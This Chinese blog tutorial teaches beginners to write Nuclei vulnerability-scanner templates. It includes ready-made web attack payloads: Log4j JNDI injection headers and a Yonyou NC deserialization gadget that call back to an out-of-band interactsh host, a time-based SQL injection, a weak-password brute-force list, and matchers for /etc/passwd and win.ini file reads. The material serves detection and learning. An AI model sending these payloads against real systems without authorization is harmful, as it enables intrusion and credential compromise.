[Nuclei-04]Nuclei实际使用中一些常用模板
2024-1-22 10:52:59 Author: thelostworld(查看原文) 阅读量:91 收藏

0x00免责声明
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
马赛克安全实验室情报申明(可点击查看)

0x01Nuclei技巧
我们在做测试的时候越来越习惯用nuclei做测试,1是模板编写简单易上手,2是可以兼容很多情况如反序列化、文件上传甚至口令爆破都可以写成nuclei脚本,3是可以批量自动化扫描等。
我们此次写的模板是针对刚开始学习nuclei脚本编写,大佬请绕行,从我而言新上手工具先学会怎么用,只有用熟悉了才能去理解工具的原理,那么废话不多说,我们直接展示模板。

1.范例,模板

id: base  info:  name: base   author: msk  description: 描述漏洞基本情况  severity: info 漏洞等级  reference: https://www.exploit-db.com/ghdb/6814  漏洞来源  tags: detect 标签  metadata:    veified: true    fofa-query: fofa语法    hunter-query: 鹰图语法
http: - raw: - | GET /xxxx/xxx HTTP/1.1 Host: {{Hostname}} Connection: keep-alive Cookie: OFBiz.Visitor=${jndi:ldap://{{interactsh-url}}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json;charset=UTF-8 user-client: 1
matchers: - type: dsl dsl: - 'status_code==200 && contains_all(body,"xxx1","xxx2")' # 匹配多个Responses中关键词

2.针对文件读取漏洞如何匹配

读取 etc/passwd

   matchers:   - type: regex        regex:          - "root:.*:0:0:"        part: body

读取 c:/windows/win.ini

   matchers:       - type: regex        regex:          - "bit app support"        part: body
3.如何匹配返回包中的值
1)返回json格式提权

      - |        GET {{replace(filepath,"http://null","")}} HTTP/1.1        Host: {{Hostname}}        Accept: text/*        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
matchers: - type: dsl dsl: - 'status_code_2==200 && contains_all(body_2,"12321")' extractors: - type: json internal: true name: filepath json: - '.visitRoot'

这里是提取json键值对中visitRoot对应的值:http://null/enterdoc/EnterMail/20****17/20******095484/xxx.jsp,但是我们不需要返回的"http://null"值,这个时候我们就需要把这个值替换为空{{replace(filepath,"http://null","")}},剩下的就是我们想要的路径了

2)当返回的不是json格式,但是有根据时间变化的变量我们如何编写呢

      - |        GET /templates/master/pc/fangmeilele/UploadImage/titleimg/{{filename}} HTTP/1.1        Host: {{Hostname}}        Accept: text/*        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
matchers: - type: dsl dsl: - 'status_code_2==200 && contains_all(body_2,"12321")' extractors: - type: regex internal: true name: filename part: body regex: - "[0-9]{14}_[0-9]{4}.aspx" # 这块就只进行数字匹配

3)xpath提取

官方解释:XPath匹配器使用 XPath 查询来匹配 XML 和 HTML 响应。如果 XPath 查询返回任何结果,则将其视为匹配。
官方举例:
matchers:  - type: xpath    part: body    xpath:      - "/html/head/title[contains(text(), 'Example Domain')]"

以泛微为例 我想取 href的值,取出来的值并进行访问

      - |+        GET /# HTTP/1.1        Host: {{Hostname}}
- |+ GET /{{fname}} HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
extractors: - type: xpath part: body xpath: - '//link[@rel="stylesheet"]/@href' name: fname internal: true
matchers: - type: dsl dsl: - "contains_all(body_2, 'play-state') && status_code==200"

xpath提取格式为://link[@rel="stylesheet"]/@href ,先确认要提取的标签//link, 在确认唯一值[@rel="stylesheet"],剩下@href为我们需要的值

4.全局请求头

当目标采用 Basic Auth , 可以直接在调用的命令中加上全局请求头,而不用修改每个模板

nuclei -u https://target.com -H "Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ=="

5.弱口令爆破

requests:  - raw:      - |+        POST /auth/login?password={{password}}&username={{username}} HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0        Accept: application/json, text/plain, */*        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Content-Length: 0
payloads: username: - root - admin password: - 123456 - admin - admin123 attack: pitchfork
matchers-condition: and # 多个匹配,相当于都满足 matchers: - type: word part: body words: - '"msg":"success"'
- type: status status: - 200

6.针对延时注入

      - |        POST /xxxx.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36        Accept-Encoding: gzip, deflate        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Connection: close        Content-Type: application/x-www-form-urlencoded        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
id=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(6)))ozYR)+AND+'fqDZ'='fqDZ
# 此模板是基于DSL的持续时间匹配器的示例,当响应时间与定义的持续时间(在这种情况下为6或大于6秒)匹配时,返回true。 matchers: - type: dsl dsl: - 'duration>=6'

7.针对反序列化漏洞

1)以用友nc 反序列化为例

      POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1      Host: {{Hostname}}      X-Forwarded-For: 127.0.0.10      X-Originating-IP: 127.0.0.10      X-Remote-Addr: 127.0.0.10      X-Remote-IP: 127.0.0.10
{{generate_java_gadget("commons-collections3.1", "ping {{interactsh-url}}", "raw")}}

matchers: - type: word part: interactsh_protocol words: - "dns"

2)log4j 检测

      - |        POST / HTTP/1.1        Host: {{Hostname}}        {{log4j}}
payloads: log4j: - 'X-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}' - 'X-Remote-IP: ${jndi:ldap://{{interactsh-url}}/info}' - 'X-Remote-Addr: ${jndi:ldap://{{interactsh-url}}/info}' - 'X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/info}' - 'X-Originating-IP: ${jndi:ldap://{{interactsh-url}}/info}' - 'User-Agent: ${jndi:ldap://{{interactsh-url}}/info}' - 'Referer: ${jndi:ldap://{{interactsh-url}}/info}' - 'CF-Connecting_IP: ${jndi:ldap://{{interactsh-url}}/info}' - 'True-Client-IP: ${jndi:ldap://{{interactsh-url}}/info}' - 'X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/info}' - 'Originating-IP: ${jndi:ldap://{{interactsh-url}}/info}' - 'X-Real-IP: ${jndi:ldap://{{interactsh-url}}/info}'
matchers: - type: word part: interactsh_protocol words: - "dns"

进阶模板,请等后续文章发布......

0x02团队介绍


          马赛克安全实验室专注于:漏洞复现、渗透测试、nday、0day、网络安全、红蓝对抗,持续输出安全相关漏洞情报、漏洞复现相关漏洞验证脚本及工具。


文章来源: http://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247487415&idx=1&sn=070d6e19d635d56dfb36745757e6fe69&chksm=e9d169574a70234056e1ff779f78d47a3e9095565b0eeb1ad54699bbabb3198f990393dd37d2&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh